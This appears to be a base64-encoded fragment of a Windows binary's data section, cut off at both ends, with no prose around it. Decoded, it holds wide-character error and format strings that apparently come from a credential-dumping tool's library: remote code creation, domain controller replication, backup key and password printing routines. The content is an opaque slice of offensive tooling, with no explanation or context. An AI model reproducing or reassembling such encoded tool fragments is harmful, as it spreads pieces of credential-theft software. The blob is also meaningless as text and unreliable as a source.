AAAAATwBwAGEAcQB1AGUAVAByAGEAbgBzAHAAbwByAHQAAABOQ3J5cHRLZXlEZXJpdmF0aW9uAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbgBnAGMAXwBrAGUAeQB2AGEAbAB1AGUAXwBkAGUAcgBpAHYAZQBkAF8AaABhAHIAZAB3AGEAcgBlACAAOwAgAEIAYQBkACAAYwBiAFIAZQBzAHUAbAB0ACAAKAAlAHUAIAB2AHMAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAG4AZwBjAF8AawBlAHkAdgBhAGwAdQBlAF8AZABlAHIAaQB2AGUAZABfAGgAYQByAGQAdwBhAHIAZQAgADsAIABOAEMAcgB5AHAAdABLAGUAeQBEAGUAcgBpAHYAYQB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAG4AZwBjAF8AawBlAHkAdgBhAGwAdQBlAF8AZABlAHIAaQB2AGUAZABfAGgAYQByAGQAdwBhAHIAZQAgADsAIABOAG8AIABOAEMAcgB5AHAAdABLAGUAeQBEAGUAcgBpAHYAYQB0AGkAbwBuAD8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAXwBoAGEAcgBkAHcAYQByAGUAIAA7ACAATgBDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbgBnAGMAXwBrAGUAeQB2AGEAbAB1AGUAXwBkAGUAcgBpAHYAZQBkAF8AaABhAHIAZAB3AGEAcgBlACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAXwBoAGEAcgBkAHcAYQByAGUAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAG4AZwBjAF8AawBlAHkAdgBhAGwAdQBlAF8AZABlAHIAaQB2AGUAZABfAGgAYQByAGQAdwBhAHIAZQAgADsAIABOAG8AIABDAE4ARwA/AAoAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUAByAGkAbQBpAHQAaQB2AGUAIABQAHIAbwB2AGkAZABlAHIAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAHMAaQBnAG4AYQB0AHUAcgBlAF8AZABlAHIAaQB2AGUAZAAgADsAIABCAEMAcgB5AHAAdABGAGkAbgBpAHMAaABIAGEAcwBoADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAHMAaQBnAG4AYQB0AHUAcgBlAF8AZABlAHIAaQB2AGUAZAAgADsAIABCAEMAcgB5AHAAdABDAHIAZQBhAHQAZQBIAGEAcwBoADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAHMAaQBnAG4AYQB0AHUAcgBlAF8AZABlAHIAaQB2AGUAZAAgADsAIABCAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAHMAaQBnAG4AYQB0AHUAcgBlAF8AZABlAHIAaQB2AGUAZAAgADsAIABCAEMAcgB5AHAAdABPAHAAZQBuAEEAbABnAG8AcgBpAHQAaABtAFAAcgBvAHYAaQBkAGUAcgA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAHMAaQBnAG4AYQB0AHUAcgBlAF8AZABlAHIAaQB2AGUAZAAgADsAIABOAG8AIABDAE4ARwA/AAoAAAAAAGMAcgB5AHAAdABuAGcAYwAuAGQAbABsAAAAAABOZ2NTaWduV2l0aFN5bW1ldHJpY1BvcEtleQAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAHMAaQBnAG4AYQB0AHUAcgBlAF8AcABvAHAAIAA7ACAATgBnAGMAUwBpAGcAbgBXAGkAdABoAFMAeQBtAG0AZQB0AHIAaQBjAFAAbwBwAEsAZQB5ADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAG4AZwBjAF8AcwBpAGcAbgBhAHQAdQByAGUAXwBwAG8AcAAgADsAIABOAG8AIABOAGcAYwBTAGkAZwBuAFcAaQB0AGgAUwB5AG0AbQBlAHQAcgBpAGMAUABvAHAASwBlAHkAPwAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAG4AZwBjAF8AcwBpAGcAbgBhAHQAdQByAGUAXwBwAG8AcAAgADsAIABMAG8AYQBkAEwAaQBiAHIAYQByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAACUAMAAyAC4AMgBYAAAAAAAAAAAATQBJAEMAUgBPAFMATwBGAFQAXwBQAEMAUABfAEsAUwBQAF8AUgBTAEEAXwBTAEUAQQBMAF8ASwBFAFkAXwAzAEIARAAxAEMANABCAEYALQAwADAANABFAC0ANABFADIARgAtADgAQQA0AEQALQAwAEIARgA2ADMAMwBEAEMAQgAwADcANAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAGgAYQByAGQAdwBhAHIAZQBfAHUAbgBzAGUAYQBsACAAOwAgAE4AQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAGgAYQByAGQAdwBhAHIAZQBfAHUAbgBzAGUAYQBsACAAOwAgAE4AQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAKABpAG4AaQB0ACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBuAGcAYwBfAGgAYQByAGQAdwBhAHIAZQBfAHUAbgBzAGUAYQBsACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAKABzAGUAYQBsACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAE4AZwBjAFMAbwBmAHQAdwBhAHIAZQBLAGUAeQBQAGIAawBkAGYAMgBTAGEAbAB0AAAAAABOAGcAYwBTAG8AZgB0AHcAYQByAGUASwBlAHkAUABiAGsAZABmADIAUgBvAHUAbgBkAAAAUwBtAGEAcgB0AEMAYQByAGQAUABpAG4AAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbgBnAGMAXwBzAG8AZgB0AHcAYQByAGUAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbgBnAGMAXwBzAG8AZgB0AHcAYQByAGUAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAKABpAG4AaQB0ACkAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbgBnAGMAXwBzAG8AZgB0AHcAYQByAGUAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAoAE4AQwBSAFkAUABUAF8AUABJAE4AXwBQAFIATwBQAEUAUgBUAFk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AZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGgARABlAHYAaQBjAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIAByAGQAbQBfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIAByAGQAbQBfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAABOAE8ATgBFAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwByAGUAYQBkAF8AZQBtAGkAZAAgADsAIABSAGUAYwBlAGkAdgBlAGQAIABzAGkAegBlACAAaQBzACAAbgBvAHQAIAA2ACAAKAAwAHgAJQAwADIAeAApAAoAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AdAA1ADUANwA3AF8AdwByAGkAdABlAF8AYgBsAG8AYwBrACAAOwAgAFIAZQBjAGUAaQB2AGUAZAAgAGQAYQB0AGEAIABzAGkAegBlACAAaQBzACAAbgBvAHQAIAA0ACAAKAAwAHgAJQAwADIAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AdAA1ADUANwA3AF8AdwByAGkAdABlAF8AYgBsAG8AYwBrACAAOwAgAFIAZQBjAGUAaQB2AGUAZAAgAHMAaQB6AGUAIABpAHMAIABuAG8AdAAgADEAIAAoADAAeAAlADAAMgB4ACkACgAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwB0ADUANQA3ADcAXwByAGUAcwBlAHQAIAA7ACAARABhAHQAYQAgAHMAaQB6AGUAIABpAHMAIABuAG8AdAAgADAAIAAoADAAeAAlADAAMgB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AdAA1ADUANwA3AF8AcgBlAHMAZQB0ACAAOwAgAFIAZQBjAGUAaQB2AGUAZAAgAHMAaQB6AGUAIABpAHMAIABuAG8AdAAgADEAIAAoADAAeAAlADAAMgB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AcwBlAG4AZABfAHIAZQBjAGUAaQB2AGUAIAA7ACAAQgBhAGQAIABDAFIAQwAvAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwBzAGUAbgBkAF8AcgBlAGMAZQBpAHYAZQAgADsAIABCAGEAZAAgAGQAYQB0AGEAIABzAGkAegBlAC8AYwB0AGwAIABjAG8AZABlAAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAEIAYQBkACAAaABlAGEAZABlAHIACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AcwBlAG4AZABfAHIAZQBjAGUAaQB2AGUAIAA7ACAAUgBlAGEAZAAgAHMAaQB6AGUAIAA9ACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAFIAZQBhAGQARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAFcAcgBpAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEQAZQB2AGkAYwBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAZABlAHYAaQBjAGUASABhAG4AZABsAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEQARQBGAEEAVQBMAFQAAABOAE8ATgBDAEUAAABDAE8ATgBOAEUAQwBUAAAAQwBBAEwATAAAAAAAUABLAFQAAABQAEsAVABfAEkATgBUAEUARwBSAEkAVABZAAAAUABLAFQAXwBQAFIASQBWAEEAQwBZAAAARwBTAFMAXwBOAEUARwBPAFQASQBBAFQARQAAAFcASQBOAE4AVAAAAEcAUwBTAF8ASwBFAFIAQgBFAFIATwBTAAAAAAAlAHMALwAlAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAQwBhAG4AbgBvAHQAIABhAGQAZAAgAFMAZQByAHYAaQBjAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAEEAZABkAHIAIABpAGYAIABOAFUATABMAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AE8AcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8ARQB4ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBGAHIAZQBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAFMAdAByAGkAbgBnAEIAaQBuAGQAaQBuAGcAQwBvAG0AcABvAHMAZQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAACoAKgAgAFMAZQBjAHUAcgBpAHQAeQAgAEMAYQBsAGwAYgBhAGMAawAhACAAKgAqAAoAAAAAAAAAIAA+ACAAUwBlAHIAdgBlAHIAUAByAGkAbgBjAE4AYQBtAGUAOgAgACUAcwAKACAAPgAgAEEAdQB0AGgAbgBMAGUAdgBlAGwAIAAgACAAIAAgADoAIAAlADIAdQAgAC0AIAAlAHMACgAgAD4AIABBAHUAdABoAG4AUwB2AGMAIAAgACAAIAAgACAAIAA6ACAAJQAyAHUAIAAtACAAJQBzAAoAIAA+ACAAQQB1AHQAaAB6AFMAdgBjACAAIAAgACAAIAAgACAAOgAgACUAMgB1AAoAAAAgAD4AIABOAG8AIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4ACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBuAGkAYwBlAF8AdgBlAHIAYgBfAFMAZQBjAHUAcgBpAHQAeQBDAGEAbABsAGIAYQBjAGsAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBJAG4AcQBBAHUAdABoAEMAbABpAGUAbgB0ADoAIAAlADAAOAB4AAoAAAAAAHIAZQBtAG8AdABlAAAAAABzAGUAcgB2AGUAcgAAAAAAdABhAHIAZwBlAHQAAAAAAFsAcgBwAGMAXQAgAFIAZQBtAG8AdABlACAAIAAgADoAIAAlAHMACgAAAAAAbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAAAAAAHAAcgBvAHQAcwBlAHEAAABbAHIAcABjAF0AIABQAHIAbwB0AFMAZQBxACAAIAA6ACAAJQBzAAoAAAAAAGUAbgBkAHAAbwBpAG4AdAAAAAAAWwByAHAAYwBdACAARQBuAGQAcABvAGkAbgB0ACAAOgAgACUAcwAKAAAAAABzAGUAcgB2AGkAYwBlAAAAYQBsAHQAcwBlAHIAdgBpAGMAZQAAAAAAWwByAHAAYwBdACAAUwBlAHIAdgBpAGMAZQAgACAAOgAgACUAcwAKAAAAAABuAG8AYQB1AHQAaAAAAAAAbgB0AGwAbQAAAAAAawBlAHIAYgBlAHIAbwBzAAAAAABuAGUAZwBvAHQAaQBhAHQAZQAAAFsAcgBwAGMAXQAgAEEAdQB0AGgAbgBTAHYAYwAgADoAIAAlAHMAIAAoACUAdQApAAoAAABuAHUAbABsAAAAAABbAHIAcABjAF0AIABOAFUATABMACAAUwBlAHMAcwA6ACAAJQBzAAoAAAAAAGEAdQB0AGgAdQBzAGUAcgAAAAAAYQB1AHQAaABkAG8AbQBhAGkAbgAAAAAAYQB1AHQAaABwAGEAcwBzAHcAbwByAGQAAAAAAAAAAABbAHIAcABjAF0AIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQBzAAoAWwByAHAAYwBdACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAcwAKAFsAcgBwAGMAXQAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAZwB1AGkAZAAAAAAAWwByAHAAYwBdACAAQQBsAHQAIABHAFUASQBEACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBEAGUAYwBvAGQAZQAgADsAIABNAGUAcwBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAUgBlAHMAZQB0ADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAATQBlAHMARABlAGMAbwBkAGUASQBuAGMAcgBlAG0AZQBuAHQAYQBsAEgAYQBuAGQAbABlAEMAcgBlAGEAdABlADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBGAHIAZQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBGAHIAZQBlACAAOwAgAE0AZQBzAEQAZQBjAG8AZABlAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBDAHIAZQBhAHQAZQA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEUAbgBjAG8AZABlACAAOwAgAE0AZQBzAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBSAGUAcwBlAHQAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABNAGUAcwBFAG4AYwBvAGQAZQBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAQwByAGUAYQB0AGUAOgAgACUAMAA4AHgACgAAAFAAcgBvAHQAZQBjAHQAZQBkAFMAdABvAHIAYQBnAGUAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABCAGEAYwBrAHUAcAByAEsAZQB5ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAUwAtADEALQA1AC0AMgAxAC0AAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAF